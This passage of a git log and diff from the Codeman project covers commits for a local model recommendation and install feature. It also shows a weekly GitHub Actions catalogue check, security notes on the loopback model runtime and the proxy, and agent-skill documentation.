Codeman maintainer 84c1017487 feat(local-model): the launch refusal hook, and an honest name for a rebuilt log line
- `LocalModelService.launchRefusal(endpointId)`: what a session launch asks
  before it starts on the managed endpoint. It answers the error that
  refuses the launch (the runtime child is not alive, another program holds
  the port, the runtime keeps stopping, the model's digest changed) or
  nothing. New error code `runtime-not-running` with its sentence, for a
  runtime the person stopped: only a refused session start says it.
- The fake runtime's MacBook log line is rebuilt from the two values the
  measurement notes quote, so it is `INFERENCE_COMPUTE_LINE_MACBOOK` now.
  Only the Mac mini line is a verbatim capture and keeps `REAL_`.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-06 20:23:58 +01:00
Codeman maintainer 771072c36b feat(local-model): contract for the install stage (types, stubs, fake runtime)
The types, the module skeletons and the test fake that let the runtime, the
install job and the window be built at the same time.

Types:
- src/types/local-model-install.ts (new): the runtime pin, the install
  states, steps and error codes with one sentence and one next step each,
  the progress, the `install` object of GET /api/local-model, the bodies and
  409 answers of the install verbs, the state file. `LocalModelStatus` moves
  here; `install` is optional until the route emits it.
- src/types/local-model.ts: the catalogue row's Mac memory figures, the
  measured speed of a tested entry, the `measured` budget source,
  `RecommendOptions`, and the row tag, the coding agents and the install
  total of a candidate. All optional until the catalogue and `recommend()`
  carry them, so the read-only stage keeps compiling and its tests stay
  green.

Modules with final signatures and bodies that throw:
runtime.ts (the compiled pin is final), ollama-client.ts, developer-tools.ts,
state-store.ts, install-job.ts (the state, step and transition tables are
final), connect.ts, custom-model-hosts-writer.ts, cli-install-runner.ts.
Nothing imports them yet, so the server is unchanged.

Implemented: paths.ts (every folder of the feature, from dataPath()), and
`modelFitsBudget()` in recommend.ts, the judgement the job makes with the
measured budget before it downloads a model. `recommend()` takes the options
parameter and does not read it yet.

Test fake: test/fixtures/fake-ollama.ts, a runtime on a port the system
picks, in the shapes measured on a Mac: version, tags, ps, the pull stream
(MLX and GGUF lines, an error line, a cut stream, a resumed pull), chat with
and without a tool call, the model list, a runtime archive with Range
support, and a fake child process that logs the device total.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-06 20:05:15 +01:00
Codeman maintainer 66ca92f7cf docs(local-model): label the route experimental and write down the rules
- docs/api-reference.md: GET /api/local-model is labeled experimental
  until the step that sets a model up ships, so its payload is not a
  stable /api/v1 contract one stage before that step changes it. The
  section now describes the verdict as judged, the three sentences of
  the memory reason, the notes, the speed rounding and which size to
  show as the installed memory. The os-fallback description was wrong:
  the free disk space is reported there too.
- docs/versioning-policy.md: the route is listed under the experimental
  surfaces.
- docs/wiki/Settings-Reference.md: App Settings > Models > Model on this
  Mac, in the words of a user.
- CLAUDE.md and src/web/CLAUDE.md: the invariants the code relies on
  (read-only, the probe, harness rows as data, the meaning of limited,
  the word Recommended, one unit, labels from the payload, when the
  card and the group show).

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-06 17:38:12 +01:00
Codeman maintainer 8281045cf2 fix(local-model): say what is true of the Mac, and why a model is missing
Review fixes for the read-only recommendation and its card.

Recommendation (pure):
- `limited` is now a statement about the Mac: no model with 12 billion
  parameters or more fits. It is judged on everything that fits, before
  the disk filter and whatever the pick is. A 32 or 36 GB Mac whose pick
  is a 9B model no longer reads "This Mac can run a small model" above a
  list of 20B, 27B and 35B models, and knowing the chip no longer lowers
  the verdict. A small pick under `ok` carries a note that says so.
- A model that fits the memory but has no room on the disk is no longer
  dropped in silence: the best-ranked one is named in a note with the GB
  that are missing. A full disk cannot turn a 48 GB Mac into a
  small-model Mac.
- "Models fit, but not at a context a harness needs" has its own
  sentence with the budget and the need, worded as an estimate. The
  16 GB Mac mini misses by 1.3 points (10.3 of 10.4 GB) and was told
  flatly that its memory is too little, the sentence of an 8 GB Mac.
- The installed memory is named by the size the Mac is sold as (48, not
  51.5): the hardware line and the memory sentence. Every computed size
  stays decimal GB from the one formatter. An unknown memory size is no
  longer reported as "0.0 GB".
- Slow is graded on the unrounded speed: 9.95 to 9.9996 tokens per
  second printed as 10 and read ok.
- The disk sentence names the 10 GiB that must stay free, so its
  numbers add up for the reader.

Card and Settings group:
- The Settings group "Model on this Mac" is hidden on a server that is
  not a Mac, and until the first answer says it is one.
- Only `403 FORBIDDEN` is a refusal. `403 PASSWORD_CHANGE_REQUIRED`
  (an admin who must change the password) is a failed request and is
  asked again, so that admin no longer loses the card until a reload.
- Each fit and speed label carries what it measures as its tooltip and
  accessible name, an alternative with a speed estimate prints it, and
  the count beside "Other models that fit" is gone (it was the number
  of rows, capped at four, not the number of models that fit).
- The line saying nothing can be set up yet sits right under the pick,
  in the colour of every other line (it was 3.9:1), and says whose step
  it is.
- The dismissal key is named for this stage, so hiding the read-only
  card does not hide the install offer later.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-06 17:37:53 +01:00
Codeman maintainer 4739542397 chore(local-model): drop build-time wording from two comments
The label list was "frozen for the parallel build" and the card's test said
the route answers 501: both were true while the pieces were written side by
side and are not any more. Comments only.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-06 16:30:59 +01:00
Codeman maintainer 58e20cf613 docs(api): document GET /api/local-model
A "Local model recommendation" section in the API reference: the read-only
route, its admin gate in multi-user mode, why a failed probe is a 200, and
every field of { hardware, recommendation, catalogUpdated }, including that a
size travels as bytes and as decimal GB text.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-06 16:28:04 +01:00
Codeman maintainer 1976431ce6 feat(local-model): welcome card and App Settings row for the model on this Mac
The read-only face of GET /api/local-model: what the Mac the server runs on
can run as a local coding model.

- local-model-ui.js: one builder paints both containers from the same
  payload: the hardware line, the server's headline, the pick with its numbers
  (context, download, memory need against the budget, speed), the server's
  notes, the other models that fit with their Good, Tight, Slow or Speed
  unknown labels, and one line saying that setting it up from Codeman is the
  next step and is not built yet.
- The welcome card ships hidden and shows only once the server answered for a
  Mac. It stays hidden for not-macos, for a refused request (a non-admin in
  multi-user mode) and after "Hide", a per-device localStorage key. The App
  Settings group "Model on this Mac" (Models) carries the loading and failure
  sentences and is the way back after a Hide.
- Every dynamic string goes in through textContent, both containers are
  data-i18n-skip and the module translates its own sentences, repainting on a
  language change. Sizes are printed as sent. Labels and harness names come
  from the payload: the module names no CLI and the word "Recommended" is not
  in it.
- One request a minute at most, shared while in flight; a failed refresh keeps
  the last answer on screen.
- i18n.js: zh-CN entries for the module's strings and for every server label.
- frontend-cli-no-id-branching.test.ts scans the new module.

Tests: test/local-model-ui.test.ts (JSDOM over the real markup),
test/local-model-i18n.test.ts.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-06 16:28:04 +01:00
Codeman maintainer 34e95ceb62 feat(local-model): GET /api/local-model and the harness facts
The read-only route behind the recommendation, and the one module that reads
the CLI registry for it.

- harness-facts.ts: one fact per catalogue harness row, resolved in the CLI
  registry at call time: the registry's label, `installed` from the existing
  availability probe (asked once per build), `installable` for a stock CLI
  whose install command for this platform needs no administrator rights, and
  `acceptsModelId`, the test a custom model launch applies to the model id.
  A row whose CLI is unknown, disabled or has no custom model mechanism gets
  no fact. No CLI id is compared with a literal.
- routes/local-model-routes.ts: answers { hardware, recommendation,
  catalogUpdated } in the usual envelope and reformats nothing. Admin only in
  multi-user mode (403), checked before anything is probed. A failed probe is
  an answer (200, the hardware's `source` says what was read); a 500 is left
  for a fault in the catalogue, the harness facts or recommend(). It writes no
  file and reads no setting.

Tests: test/local-model-harness-facts.test.ts,
test/routes/local-model-routes.test.ts (app.inject(), no port; the temp HOME
is byte-identical before and after the requests).

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-06 16:27:49 +01:00
Codeman maintainer 92c20fe572 feat(local-model): hardware probe, model catalogue and the pure recommendation
The core of the read-only recommendation: what this Mac is, what the catalogue
knows, and which model fits. Nothing is downloaded, installed or written.

- hardware.ts: one bounded async spawn of /usr/sbin/sysctl with seven keys,
  without -n, parsed as "key: value" lines by the pure parseSysctl(). Free disk
  of the data dir through statfs behind the bounded path probe. Fallbacks from
  node:os, a 60 s cache, never throws, never system_profiler. A wired limit of
  0 means "not set".
- local-model-catalog.ts: seven models, three harness rows (pi gated) and the
  chips table as a compiled constant, validated by a Zod schema on first use.
  No override file. Model ids are name:tag in lowercase without a slash; every
  model carries paramsB and an (empty) tested list. Chip names match on the
  end of the chip string, so 'M4' is not the chip of 'Apple M4 Pro'.
- recommend.ts: device budget (the wired limit when above 0, else 2/3 of
  memory below 36 GB and 3/4 from 36 GB, less the reserve), need = weights +
  KV cache + 1 GiB + prompt cache, fit good up to 0.85 and tight up to 0.98,
  speed ok, unknown or slow (a chip in no chips row is unknown), and the
  ranking. Verdicts ok, limited (best model under 12 billion parameters) and
  none with its reason. "Recommended" only for a pick with a tested entry for
  this Mac, which no row has today.
- types/local-model.ts: comments brought in line with the code (chip matching,
  budgetShare rounding, a budget of 0 on an Intel Mac).
- cli-registry-no-id-branching.test.ts: the guard also catches a comparison of
  a `cli` field with a CLI id (plus one stray blank line Prettier refused).

Tests: test/local-model-format.test.ts, test/local-model-hardware.test.ts
(the captured output of two real Macs), test/local-model-catalog.test.ts,
test/local-model-recommend.test.ts.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-06 16:27:33 +01:00
Codeman maintainer 73ce6a1819 feat(local-model): types and module skeleton for the hardware-aware recommendation
The contract three builders code against in parallel. Nothing is recommended
yet: the route answers 501 and the catalogue is empty.

- src/types/local-model.ts: HardwareFacts, the catalogue rows, HarnessFact,
  Candidate, Recommendation, LocalModelStatus, and LOCAL_MODEL_LABELS, the one
  list of sentences the server may put into the payload (the zh-CN dictionary
  is keyed by them).
- src/local-model/format.ts: formatGb, the one place a byte count becomes a
  size a person reads (decimal GB), and memClassGb.
- src/config/local-model-catalog.ts: the Zod schema (model ids are name:tag,
  lowercase, no slash) and an empty stock catalogue. No override file.
- Skeletons with their final signatures: hardware.ts, recommend.ts,
  harness-facts.ts, routes/local-model-routes.ts (injectable dependencies),
  public/local-model-ui.js with its script tag.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-06 14:56:13 +01:00
124 changed files with 36093 additions and 1433 deletions

No files matched your search

-5
View File
@@ -1,5 +0,0 @@
---
'aicodeman': minor
---
**The Codeman agent skill is on by default.** New sessions get the skill in their folder, where their CLI looks for skills (`.claude/skills/codeman/` for Claude Code, `.agents/skills/codeman/` for Codex, Gemini CLI, OpenCode, Antigravity, Grok, DeepSeek and OMP; still none for Pi, GitHub Copilot or a plain shell), so an agent can start and drive workers without an install step. The copy now ignores itself in git (a `.gitignore` of `*` inside the copy, written once and never overwritten), so it never shows up as a new file in your repository, and `codeman skill uninstall` removes it with the copy. A `settings.json` without the `agentSkillEnabled` key now means on. **Behaviour change:** every Save of App Settings on 1.49.0 or earlier wrote the old default (`false`) whether or not you touched this switch, so on its first start 1.50.0 switches a stored off on, once per data directory (it cannot tell an off you chose from the old default; the startup log says when it did). Turn it off under App Settings, Agents & CLIs, All agent CLIs, **Codeman Agent Skill**: an off set after that first start stays off. A browser tab left open from before the upgrade still holds the old value until you reload it, so reload before saving App Settings there. Turning it off still removes no copy already written: `codeman skill uninstall --case <name>` does that per case.
+1
View File
@@ -69,6 +69,7 @@ shared-host, multi-user, or tunneled deployments.
- **Multi-instance tmux socket is process-wide.** Two Codeman instances on the same `CODEMAN_INSTANCE` share a tmux socket and can attach each other's live sessions — isolate with distinct `CODEMAN_INSTANCE` values.
- **The live log-tail route reads `/var/log` and `~/logs`** in addition to the session working directory (read-only) — a deliberate choice for tailing system/app logs. On a password-protected remote deployment an authenticated user can therefore read those roots outside their session. See `docs/security-architecture.md` §5.
- **The local model runtime listens on a loopback port with no login.** The model server the local model install starts (macOS only, opt-in by a click) accepts requests from any process of any account on the Mac, and from any page served from `localhost`, like every model server of its kind. Codeman limits what that buys (one model in the endpoint record, a digest check before an agent is started on it) but does not authenticate the port. See `docs/security-architecture.md` §10d.
- **The web-tab proxy fetches from the server's network position.** Any authenticated user can save a dashboard URL on loopback or a private range and have Codeman relay to it; that is the feature. Link-local and cloud-metadata addresses are the only refused targets (see below). On a shared host, restrict who holds an account.
Recent hardening (2026-09-04): the web-tab proxy, its "Test" probe and its
+128
View File
@@ -0,0 +1,128 @@
name: Local model catalogue
# Checks every Monday that the local model catalogue (src/config/local-model-catalog.ts) and
# the pinned model runtime (OLLAMA_RUNTIME_PIN in src/local-model/runtime.ts) still match what
# the registry and Ollama's releases serve: a tag can be pushed again or removed, the build a
# Mac downloads can change size, and Ollama ships new versions. The catalogue is compiled into
# Codeman on purpose, so this job only reports; a change ships in a release like any other.
# What it checks, and what a maintainer does with its issue: docs/local-models.md, "Keeping
# the catalogue current".
#
# By hand: gh workflow run local-model-catalog.yml (the file must be on master for that,
# and the schedule only ever runs master's copy). Locally: npm run check:local-model-catalog
#
# Two jobs, so the token that can write issues never sits next to `npm ci`:
# - check installs the dependencies and runs scripts/check-local-model-catalog.mjs with a
# read-only token. Exit 0 clean, 1 drift, 2 the check failed. On 2 the job fails and the
# issue is not touched: an incomplete report must not open or update it.
# - issue runs no code from the repository, only gh. On drift it opens the one issue titled
# "Local model catalogue: weekly check", or puts this week's report into it when it is
# already open. On a clean week it comments on that issue only when one is open.
on:
schedule:
- cron: '0 6 * * 1'
workflow_dispatch:
permissions:
contents: read
# A run by hand while the scheduled one is going must not open a second issue.
concurrency: ${{ github.workflow }}
jobs:
check:
name: Check the catalogue and the runtime pin
runs-on: ubuntu-latest
timeout-minutes: 15
outputs:
status: ${{ steps.check.outputs.status }}
report: ${{ steps.check.outputs.report }}
steps:
- name: Checkout repo
uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
with:
persist-credentials: false
- name: Setup Node.js
uses: actions/setup-node@249970729cb0ef3589644e2896645e5dc5ba9c38 # v6.5.0
with:
node-version: 22
cache: 'npm'
# The check needs tsx and zod, both plain JavaScript, so no install script runs here
# (node-pty's build and the repository's postinstall included).
- name: Install dependencies
run: npm ci --ignore-scripts
- name: Run the check
id: check
env:
# Read-only here. Sent to api.github.com only, so the release lookups are not rate limited.
GITHUB_TOKEN: ${{ github.token }}
run: |
set +e
npx tsx scripts/check-local-model-catalog.mjs > "$RUNNER_TEMP/report.md"
code=$?
set -e
cat "$RUNNER_TEMP/report.md" >> "$GITHUB_STEP_SUMMARY"
case "$code" in
0) echo "status=clean" >> "$GITHUB_OUTPUT" ;;
1) echo "status=drift" >> "$GITHUB_OUTPUT" ;;
*)
echo "::error::The check itself failed (exit $code), so the issue is left alone. The summary holds what it found."
exit 1
;;
esac
# One line of base64, so nothing in the report can end the output early. An issue
# body holds at most 65,536 characters; the report is a few KB.
echo "report=$(head -c 60000 "$RUNNER_TEMP/report.md" | base64 -w0)" >> "$GITHUB_OUTPUT"
issue:
name: Keep the weekly issue current
needs: check
runs-on: ubuntu-latest
timeout-minutes: 5
permissions:
contents: read
issues: write
env:
GH_TOKEN: ${{ github.token }}
GH_REPO: ${{ github.repository }}
ISSUE_TITLE: 'Local model catalogue: weekly check'
STATUS: ${{ needs.check.outputs.status }}
REPORT_B64: ${{ needs.check.outputs.report }}
RUN_URL: ${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}
steps:
- name: Open, update or comment on the issue
run: |
set -euo pipefail
# The issues API, not the search index, so an issue opened a minute ago is found too,
# and an exact title match, so a similar title never counts. The oldest open one wins.
number=$(gh issue list --state open --limit 1000 --json number,title \
| jq -r --arg title "$ISSUE_TITLE" '[.[] | select(.title == $title)] | sort_by(.number) | first | .number // empty')
today=$(date -u +%Y-%m-%d)
case "$STATUS" in
drift)
printf '%s' "$REPORT_B64" | base64 -d > "$RUNNER_TEMP/report.md"
printf '\n---\n\nWritten by the [weekly check](%s). Fix the catalogue or the pin in a pull request and close this issue once that is merged; the next drift opens it again.\n' \
"$RUN_URL" >> "$RUNNER_TEMP/report.md"
if [ -n "$number" ]; then
gh issue edit "$number" --body-file "$RUNNER_TEMP/report.md"
gh issue comment "$number" --body "Week of $today: drift found again. The description now holds this week's report ([run]($RUN_URL))."
else
gh issue create --title "$ISSUE_TITLE" --body-file "$RUNNER_TEMP/report.md"
fi
;;
clean)
if [ -n "$number" ]; then
gh issue comment "$number" --body "Week of $today: the check was clean ([run]($RUN_URL))."
else
echo "Clean, and no issue is open: nothing to do."
fi
;;
*)
echo "::error::The check job reported no status ('$STATUS')."
exit 1
;;
esac
+7 -3
View File
@@ -127,7 +127,7 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph
**Input**: `session.writeViaMux()` for programmatic/curl input via one tmux bracketed paste (`paste-buffer -p`) + `send-keys Enter`; a multi-line prompt keeps its line breaks inside that paste. A single character is typed with `send-keys -l` instead, because selection dialogs ignore a pasted digit. Interactive **browser** input goes through a durable **exactly-once** layer: a stable `clientId` + monotonic per-session `seq` persisted to localStorage until the server ACKs, so a dropped link cannot lose or double-deliver a prompt. `ws-connection-registry.ts` supersedes only same-TAB reconnects, so two tabs on one session coexist. → [architecture-invariants#input-delivery-and-ws-resilience](docs/architecture-invariants.md#input-delivery-and-ws-resilience)
**Agent wait primitives**: bounded long-polls: `GET /api/sessions/:id/wait`, `GET .../wait-output` (literal substring, **never** regex) and `wait`/`waitTimeout` on `POST .../input`. Registry `session-wait-registry.ts` (pure), bounds `config/agent-wait.ts`. ⚠️ A timeout is a 200 (`wait.timedOut`). ⚠️ `stop` exists for `claude` and `deepseek` ONLY, and never for an adopted session (rule lives in `hooksAvailableForMode()`), `blocked` also for a CLI declaring `capabilities.workDetect.blockedLine` (codex, read off the screen; `blockedSignalAvailable()`): explicit request elsewhere is a 400. ⚠️ Send-and-wait registers the waiter BEFORE the write; teardown must `notifySignal('exit')` BEFORE `cancelAll()`; hangup abort listens on `reply.raw` (guarded by `writableFinished`), never `req.raw`; liveness comes from `isPaneDead`, never `session.pid`. ⚠️ Signals are edge-triggered with no history: gather fan-outs via send-and-wait or `wait-output` markers. Packaged as the `skills/codeman` skill (`codeman skill install`, plugin marketplace, or injection behind `agentSkillEnabled`, SYNCED, **default ON since 1.50.0**, into the directory each CLI scans: `capabilities.agentSkillDir`, `.claude/skills` for claude, `.agents/skills` for the others, none for pi or copilot): injection is add-only, marker-owned (`applyAgentSkill`), refuses symlinks, and refreshes a marker-owned user-level copy (`refreshUserAgentSkill`). ⚠️ An ABSENT key means ON on both sides (server `!== false`, the page's switch `!== false`, or a Save writes the old default back); only an explicit false is off, and turning it off still sweeps nothing (`codeman skill uninstall --case <name>` removes copies). ⚠️ Existing installs that stored off are switched on once at the first 1.50.0 start (every Save up to 1.49.0 wrote `false`); turning it off afterwards sticks. That is `migrateAgentSkillDefault()` (`web/agent-skill-default-migration.ts`, from `WebServer.start()` before the first settings read and before listen, skipped in test mode, through `mutateSettingsFile()` only): it stores `true`, never deletes the key (the page's merge keeps a device's own `false` for a key the server lacks, and the next Save would write it back; the page also drops its copy when the server has no key), and its "done" marker is its own file, `agent-skill-default-migrated.json` in the data dir, never a settings key (so no Save sends or drops it, the `.strict()` schema never sees it, and a config-backup restore leaves it alone). ⚠️ Every managed copy ignores itself in git: a `.gitignore` of `*` written FIRST with `wx` (never overwritten, never part of `readAgentSkillSource()`, so never in `skills/codeman/` or the plugin mirror), removed by uninstall only when it is the last file left; never touch the user's own ignore files for it. → [architecture-invariants#agent-wait-primitives](docs/architecture-invariants.md#agent-wait-primitives), `docs/api-reference.md`
**Agent wait primitives**: bounded long-polls: `GET /api/sessions/:id/wait`, `GET .../wait-output` (literal substring, **never** regex) and `wait`/`waitTimeout` on `POST .../input`. Registry `session-wait-registry.ts` (pure), bounds `config/agent-wait.ts`. ⚠️ A timeout is a 200 (`wait.timedOut`). ⚠️ `stop` exists for `claude` and `deepseek` ONLY, and never for an adopted session (rule lives in `hooksAvailableForMode()`), `blocked` also for a CLI declaring `capabilities.workDetect.blockedLine` (codex, read off the screen; `blockedSignalAvailable()`): explicit request elsewhere is a 400. ⚠️ Send-and-wait registers the waiter BEFORE the write; teardown must `notifySignal('exit')` BEFORE `cancelAll()`; hangup abort listens on `reply.raw` (guarded by `writableFinished`), never `req.raw`; liveness comes from `isPaneDead`, never `session.pid`. ⚠️ Signals are edge-triggered with no history: gather fan-outs via send-and-wait or `wait-output` markers. Packaged as the `skills/codeman` skill (`codeman skill install`, plugin marketplace, or injection behind `agentSkillEnabled`, SYNCED, default OFF, into the directory each CLI scans: `capabilities.agentSkillDir`, `.claude/skills` for claude, `.agents/skills` for the others, none for pi): injection is add-only, marker-owned (`applyAgentSkill`), refuses symlinks, and refreshes a marker-owned user-level copy (`refreshUserAgentSkill`). → [architecture-invariants#agent-wait-primitives](docs/architecture-invariants.md#agent-wait-primitives), `docs/api-reference.md`
**Agent CLI (`codeman agent …`, `src/cli-agent.ts`)**: the command-line client for the wait primitives and the session verbs, for agents the skill does not reach (pi, shell, no `jq`; `seedAgentSessionPreamble` covers every local session whose CLI takes the skill, `capabilities.agentSkillDir`; every pane still exports `CODEMAN_MUX`/`CODEMAN_SESSION_ID`/`CODEMAN_API_URL`). It is an HTTP CLIENT: inspection and guarded stage/submit use the ownership-checked `agent-session-routes.ts` module (experimental, behind `agentCoordinationEnabled`, SYNCED, default OFF: all three routes answer `403 FORBIDDEN` naming it while off, and the CLI shows that verbatim); the other verbs reuse existing routes, with no second transport (the plan's "Socket API" non-goal stands), every call carries `X-Codeman-Parent-Session`, only `spawn`'s quick-start carries `X-Codeman-Agent-Origin` (pinned in test/cli-agent.test.ts), while `spawn` without a case (cwd or `--working-dir`) is `POST /api/v1/sessions` plus `/interactive` or `/shell` without that header, so no agent-case marker, and refuses (exit 4, before any request) an empty `--working-dir` and a bare spawn from a HOME cwd, since it always sends an explicit `workingDir` and the server's no-`workingDir` hooks skip cannot apply (test/cli-agent-project-spawn.test.ts), auth (`src/codeman-credentials.ts`, shared with `codeman attach` and the TUI) from `CODEMAN_PASSWORD` or the data dir's `.env` (the same reader `codeman attach` uses — `readCodemanEnvFile`). Verbs return exit codes (`0` ok / `1` error / `2` timeout / `3` exited / `4` refused) instead of calling `process.exit`, so `test/cli-agent.test.ts` drives every verb against a recording fake transport plus the real `httpRequest` against a local server. ⚠️ Three guards live in code, not prose, and the tests pin them: refuse without `CODEMAN_MUX=1`+`CODEMAN_API_URL` (never guess a URL); `send` transmits printable text + `\r` only (`inputRefusal`: any byte < 0x20 or DEL refuses BEFORE the transport — opencode's `Ctrl+C` is `app_exit`), ESC exists solely as `interrupt` with no `\r`; `rm` fails closed (`deleteRefusal`: empty id, self shorter than 8, prefix match in EITHER direction, re-checked on the resolved id). ⚠️ The routes accept FULL ids only — an 8-char prefix is a 404 (measured live) — while `ls` prints prefixes, so `resolveSessionId` maps a short id through `GET /api/v1/sessions` and refuses an ambiguous one. It also refuses any id under 8 characters (exit 4, on every verb, before any request), the same floor as the server's `PARENT_SESSION_ID_MIN_PREFIX`, so `rm 9` can never pick an arbitrary session. ⚠️ A 400 for `--until stop` on a hook-less mode is passed through verbatim, never papered over: the marker path is the answer there. `spawn` on a readiness timeout exits 2 and LEAVES the session for inspection (the skill's `spawn_worker` deletes it; the CLI's caller is often a human); its stdout is the id ALONE (prose on stderr) so `SID=$(…)` works. ⚠️ Two server answers that look like success and are not: `delivered:false` without `duplicate` (the bytes went into a dead pane — the field exists so a client says "restart" instead of "wait longer") and `wait.ended:true, signal:null` (the worker died during a `stop`/`idle` wait: the registry satisfies only waiters that listed `exit`, then cancels the rest) — both exit 3, checked BEFORE the happy paths in `waitExitCode`. → README "`codeman agent`", `docs/api-reference.md`
@@ -187,10 +187,14 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph
**Case rename** (`POST /api/cases/:name/rename`, `src/case-rename.ts`; `docs/wiki/Core-Concepts.md#case`): a case under the cases dir is its folder name and always moves; a linked case renames its alias and moves its real folder only with `renameFolder`; remote and Docker cases are refused. ⚠️ A folder that sessions have open is the hazard: live sessions at or under it make the route answer `409 requiresStop` with their names, and only `stopSessions: true` ends them (via `ctx.cleanupSession`: closed like a tab close, uploads included, nothing is restarted); the free-target pre-check runs before that and refuses a dangling symlink too (`lstat`, as `moveCaseFolder` does), so no session is ended for a move that cannot happen. `withCaseLock` holds the old and new paths for the whole operation (`isCasePathLocked`; the `Session` constructor throws for a working directory inside a held path, so nothing is constructed mid-move). ⚠️ A create awaits the owner's layout lock and a settings read between `new Session` and the server's map, where the rename looks for open sessions, so the constructor also records the session (`noteCaseSessionStarting`) until `registerSessionWithLayout()` or `stop()` settles it (30 s TTL for one that never registers), and a folder move refuses `409` with `renameCode: "BUSY"` while one is recorded at or under the folder (`isCaseSessionStarting`, checked in the same tick that takes the lock); an alias-only rename is not refused. A create whose path was validated before the move but whose `Session` is constructed after it is not covered (the plain check-then-use race of any create path), `moveCaseFolder` refuses an existing target itself (POSIX `rename` would silently replace an EMPTY directory) and retries `EBUSY`/`EPERM`/`EACCES` before answering `423 LOCKED`. If the registries (`linked-cases.json`, `caseOrder`, `lastUsedCase`) fail after the move, `settings.json` and the folder are put back (a failed move-back says the folder is now at the new path), and an error after `stopSessions` carries `stoppedSessions`. Claude Code keys history by path (`claudeProjectDirName`: every non-alphanumeric becomes `-`), so `<claude config>/projects/<old>` is renamed too, or merged entry by entry, never overwriting, into one already at the new key (case delete never removes history, so an earlier case of the new name leaves one); other CLIs' history, Docker bind mounts, `git worktree` links, cron jobs' `workingDir`, Claude history of subfolder sessions and Claude Code's per-project entry in `~/.claude.json` (local-scope `mcpServers`, `allowedTools`, trust; writing another CLI's config is the opt-in MCP sync's job) are NOT migrated. The history scanner prefers the decoded project key over a transcript's `cwd` that no longer exists, so Resume follows a rename. Only an admin's rename touches the server-wide `settings.json` (`caseOrder`, `lastUsedCase`); the owner's default session group is carried across with `TabLayoutService`. `settings.json` is written before `linked-cases.json`, so a failed or refused registry write puts `settings.json` back and leaves the registry as it was. ⚠️ Every write to `linked-cases.json` (link, unlink, rename, and a create or clone into a custom folder) goes through `mutateLinkedCases()` (`src/web/linked-cases-writer.ts`: serialized, temp file + rename, and a file that does not parse is refused, never read as `{}`; the one direct writer is config-backup restore, `restoreConfigBackup()`, which must work on such a file), and a check that must still hold when the entry is written (the name is free; for a rename, the old entry still names the folder) runs INSIDE its callback: two clones that claimed one name used to both pass a re-read made outside it and both answer success. Pinned by `test/linked-cases-writer.test.ts`, and for a rename by `test/routes/case-rename-routes.test.ts`.
**Custom Model Endpoint Profiles** (opt-in, `customModelEndpointsEnabled`, SYNCED, default OFF; `docs/custom-model-endpoints.md`): points a session at a user-configured OpenAI-compatible endpoint (store `custom-model-hosts.ts`, `~/.codeman/custom-model-hosts.json`, 0600). `authStyle` is `bearer` or `api-key`, never both headers (hangs the server). The per-CLI redirect is registry data, `capabilities.customModelInjection` (`env` / `configContentEnv` / `configDir` / `unsupported`), computed by the pure `custom-model-injection.ts`; ⚠️ `configDir` writes an isolated per-session config, NEVER the user's real `~/.codex`/`~/.pi`/`~/.omp`/grok config; the one exception is a recipe's `linkFromRealHome` (deepseek's `profiles`, `sessions`, `settings.yaml`), which symlinks those named entries back out of the real home so they survive the redirect. ⚠️ Claude applies via `Session.restartCli()` (a relaunch in the existing pane, so the conversation is pinned as `resumeSessionId`), the rest one-shot at launch; retired env keys must also be `setenv -u`'d (`_pendingEnvUnsets`), since tmux env survives `respawn-pane`. ⚠️ Remote/Docker sessions are refused (400). ⚠️ Persist only KEYS (`__customModel`), never values (they carry the API key); the one exception is `ownEnv`'s `homeEnvVar` entry, the session's OWN home path (absolute only: a `clis.json` override can name any variable there), which `setCustomModel()` puts back on clear and recovery clamps, since the selection overwrote the tmux `setenv` that held it. ⚠️ Every redirectable var must be in that CLI's `privilegedEnvKeys`, and `ANTHROPIC_*` stays out of claude's `allowedPrefixes`. ⚠️ The Run-menu picker builds entries from `window.__codemanCustomModelClis` (escaped via `escapeScriptJson()`), never a hardcoded CLI id list, and launches through `run()` via a temporary `_runMode` swap, never `setRunMode()`. → [architecture-invariants#custom-model-endpoint-profiles](docs/architecture-invariants.md#custom-model-endpoint-profiles)
**Custom Model Endpoint Profiles** (opt-in, `customModelEndpointsEnabled`, SYNCED, default OFF; `docs/custom-model-endpoints.md`): points a session at a user-configured OpenAI-compatible endpoint (store `custom-model-hosts.ts`, `~/.codeman/custom-model-hosts.json`, 0600). `authStyle` is `bearer` or `api-key`, never both headers (hangs the server). The per-CLI redirect is registry data, `capabilities.customModelInjection` (`env` / `configContentEnv` / `configDir` / `unsupported`), computed by the pure `custom-model-injection.ts`; ⚠️ `configDir` writes an isolated per-session config, NEVER the user's real `~/.codex`/`~/.pi`/`~/.omp`/grok config; the one exception is a recipe's `linkFromRealHome` (deepseek's `profiles`, `sessions`, `settings.yaml`), which symlinks those named entries back out of the real home so they survive the redirect. ⚠️ Claude applies via `Session.restartCli()` (a relaunch in the existing pane, so the conversation is pinned as `resumeSessionId`), the rest one-shot at launch; retired env keys must also be `setenv -u`'d (`_pendingEnvUnsets`), since tmux env survives `respawn-pane`. ⚠️ Remote/Docker sessions are refused (400). ⚠️ Persist only KEYS (`__customModel`), never values (they carry the API key); the one exception is `ownEnv`'s `homeEnvVar` entry, the session's OWN home path (absolute only: a `clis.json` override can name any variable there), which `setCustomModel()` puts back on clear and recovery clamps, since the selection overwrote the tmux `setenv` that held it. ⚠️ Every redirectable var must be in that CLI's `privilegedEnvKeys`, and `ANTHROPIC_*` stays out of claude's `allowedPrefixes`. ⚠️ The Run-menu picker builds entries from `window.__codemanCustomModelClis` (escaped via `escapeScriptJson()`), never a hardcoded CLI id list, and launches through `run()` via a temporary `_runMode` swap, never 